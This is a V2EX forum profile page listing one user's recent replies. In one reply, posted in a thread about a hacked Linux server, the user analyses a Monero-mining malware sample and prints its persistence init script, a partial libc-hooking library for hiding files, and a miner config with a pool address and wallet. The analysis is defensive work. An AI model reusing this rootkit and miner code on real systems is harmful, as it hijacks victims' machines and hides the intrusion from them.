lvxiang119 最近的时间轴更新
lvxiang119

lvxiang119

V2EX 第 179848 号会员,加入于 2016-07-01 11:47:59 +08:00
根据 lvxiang119 的设置,主题列表被隐藏
二手交易 相关的信息,包括已关闭的交易,不会被隐藏
lvxiang119 最近回复了
2023-02-01 20:10:24 +08:00
回复了 lvxiang119 创建的主题 分享创造 基于 OpenAI(ChatGPT) 做了一个 AI 杂志
20230201 Updated: 新增了 chat room 申请了官方 API 等开放后,支持调教好的机器人
2023-01-22 15:18:08 +08:00
回复了 lvxiang119 创建的主题 分享创造 基于 OpenAI(ChatGPT) 做了一个 AI 杂志
@y4nssss 就是开源的东西搭建的~ zine + openapi
2019-03-16 09:13:11 +08:00
回复了 zycpp 创建的主题 程序员 实在忍不住了,接手的代码太 shi 了
以前接受一个项目,入口文件 3000+行,优化到 500 行。最后发现无法运行,于是移除了该模块。求夸。
2019-02-22 17:58:36 +08:00
回复了 abcbuzhiming 创建的主题 Linux Linux 被入侵了该怎么整,入侵者摆明了不怕你知道
@linnil 可以使用 chattr -i /etc/cron.d/root 去锁,看看这个文件如果被写入了,就说明清除成功。 必须要确保清除掉 so 文件。
2019-02-22 16:13:35 +08:00
回复了 abcbuzhiming 创建的主题 Linux Linux 被入侵了该怎么整,入侵者摆明了不怕你知道
@abcbuzhiming 重点是把图片 通过 binwalk( https://github.com/ReFirmLabs/binwalk) 解压,内置
```
0.elf 挖坑核心 go 语言编写
21EC3A c++劫持函数
212D3A mine config
21565A watchdogs deamon

```
几个文件 0.elf 似乎要用 uxp 去壳。 但没能力反编译
2019-02-22 15:34:01 +08:00
回复了 abcbuzhiming 创建的主题 Linux Linux 被入侵了该怎么整,入侵者摆明了不怕你知道
我也遇到了相同的情况,病毒有点意思

首先会伪装成一张可执行的图片,执行完毕后的脚本如下

发现该图片是用 uxp 加壳的,想办法去壳,破解后发现了几个文件

其中 deamon 的脚本破解为

```
#! /bin/bash
#chkconfig: - 99 01
#description: watchdogs daemon
#processname: /usr/sbin/watchdogs
### BEGIN INIT INFO
# Provides: /user/sbin/watchdogs
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: watchdogs deamon
# Description: watchdogs deamon
### END INIT INFO

LocalPath="/usr/sbin/watchdogs"
name='watchdogs'
pid_file="/tmp/.lsdpid"
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
get_pid(){
cat "$pid_file"
}
is_running(){
[ -f "$pid_file" ] &&/usr/sbin/watchdogs -Pid $(get_pid) > /dev/null 2>&1
}
case "$1" in
start)
if is_running; then
echo "Already started"
else
echo "Starting $name"
$LocalPath >>"$stdout_log" 2>> "$stderr_log" &
echo $! > "$pid_file"
if ! is_running; then
echo "Unable to start, see$stdout_log and $stderr_log"
exit 1
fi
fi
;;
stop)
if is_running; then
echo -n "Stopping$name.."
kill $(get_pid)
for i in {1..10}
do
if ! is_running; then
break
fi
echo -n "."
sleep 1
done
echo
if is_running; then
echo "Not stopped; maystill be shutting down or shutdown may have failed"
exit 1
else
echo "Stopped"
if [ -f "$pid_file"]; then
rm "$pid_file"
fi
fi
else
echo "Not running"
fi
;;
restart)
$0 stop
if is_running; then
echo "Unable to stop, will notattempt to start"
exit 1
fi
$0 start
;;
status)
if is_running; then
echo "Running"
else
echo "Stopped"
exit 1
fi
;;
*)
echo "Usage: $0{start|stop|restart|status}"
exit 1
;;
esac
exit 0
```

劫持系统的 c++部分为

```

void *libc;

static void init (void) __attribute__ ((constructor));

static int (*old_access) (const char *path, int amode);
static int (*old_lxstat) (int ver, const char *file, struct stat * buf);
static int (*old_lxstat64) (int ver, const char *file, struct stat64 * buf);
static int (*old_open) (const char *pathname, int flags, mode_t mode);
static int (*old_rmdir) (const char *pathname);
static int (*old_unlink) (const char *pathname);
static int (*old_unlinkat) (int dirfd, const char *pathname, int flags);
static int (*old_xstat) (int ver, const char *path, struct stat * buf);
static int (*old_xstat64) (int ver, const char *path, struct stat64 * buf);
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}

char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}

buf[ret] = 0;
return 1;
}


...省略大量

```

还有一个挖坑的配置

```
{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"id": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"asm": true,
"autosave": true,
"av": 0,
"background": false,
"colors": true,
"cpu-affinity": null,
"cpu-priority": null,
"donate-level": 0,
"huge-pages": true,
"hw-aes": null,
"log-file": null,
"max-cpu-usage": 100,
"pools": [
{
"url": "stratum+tcp://xmr.f2pool.com:13531",
"user": "46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.teny",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"variant": -1,
"tls": false,
"tls-fingerprint": null
}
],
"print-time": 60,
"retries": 5,
"retry-pause": 5,
"safe": false,
"threads": null,
"user-agent": null,
"watch": false
}


```

发现是在挖门罗币。



为了获取更多的 CPU,这个病毒还会首先检测并杀死竞争对手。
2018-12-29 10:58:26 +08:00
回复了 Colorful 创建的主题 PHP 请教一个 PHP 问题,关于转码方面的
已读取你的脑电波,
请试试将第二个参数调整为 ,"gb2312//IGNORE"
2018-12-29 10:50:45 +08:00
回复了 CoderOnePolo 创建的主题 程序员 21 天,在 Github 上获取 6300 star
加油哦~~
2018-12-29 10:18:08 +08:00
回复了 skadi 创建的主题 全球工单系统 第一次见到 12306 这样的密码要求.
12306 的密码表现行为不是为了安全原因,而是基于大众普遍的记忆偏好,尤其是父母年龄段的用户群体,对密码的记忆时长出现错乱的情况,特殊符号很难记忆并且很多人无法打出来。
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1445 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 11ms · UTC 23:53 · PVG 07:53 · LAX 16:53 · JFK 19:53
Developed with CodeLauncher
♥ Do have faith in what you're doing.